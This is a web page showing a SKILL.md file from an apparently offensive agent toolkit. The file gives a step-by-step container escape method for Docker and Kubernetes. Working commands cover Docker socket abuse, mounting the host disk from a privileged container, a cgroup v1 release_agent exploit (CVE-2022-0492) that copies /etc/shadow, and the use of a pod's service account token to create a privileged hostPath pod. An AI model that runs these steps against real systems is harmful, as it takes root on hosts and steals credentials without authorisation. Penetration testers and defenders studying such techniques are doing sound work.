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sunilgentyalasunilgentyala/OmniRed/skills/cloud/container-escape/SKILL.md

container-escape

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Container escape methodology for Docker and Kubernetes. Covers privileged container breakout, mounted socket exploitation, capabilities abuse, cgroup v1 escape, and K8s node compromise.

The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 0 are distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈0

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    If /var/run/docker.sock is mounted:

    line 31

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Container Escape

Phase 1 — Enumerate Container Context

# Am I in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv

# What privileges do I have?
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Is Docker socket mounted?
ls -la /var/run/docker.sock

# Is the container privileged?
ip link add dummy0 type dummy 2>&1 | grep -v "Permission denied"
# → if no error, you likely have CAP_NET_ADMIN (privileged indicator)

Attack 1 — Docker Socket Escape

If /var/run/docker.sock is mounted:

# Start a new privileged container with host filesystem mounted
docker -H unix:///var/run/docker.sock run -it --rm \
  --privileged --pid=host --net=host \
  -v /:/host ubuntu chroot /host

# OR via API directly (no docker CLI needed)
curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

Attack 2 — Privileged Container Breakout

# Mount host filesystem via device access
fdisk -l                    # find host disk (e.g., /dev/xvda1)
mkdir /mnt/host
mount /dev/xvda1 /mnt/host
chroot /mnt/host /bin/bash  # shell as root on host

Attack 3 — cgroup v1 Escape (CVE-2022-0492)

# Requires CAP_SYS_ADMIN or unconfined seccomp
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /output

Kubernetes Node Escape

# From compromised pod — access node via service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/nodes

# Escalate via privileged pod (if create pod permissions exist)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: escape
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

Tools

  • CDK — container/K8s pentest toolkit
  • deepce — container enumeration
  • Kubescape — K8s risk assessment

MITRE ATT&CK

  • T1611 — Escape to Host
  • T1552.007 — Container API

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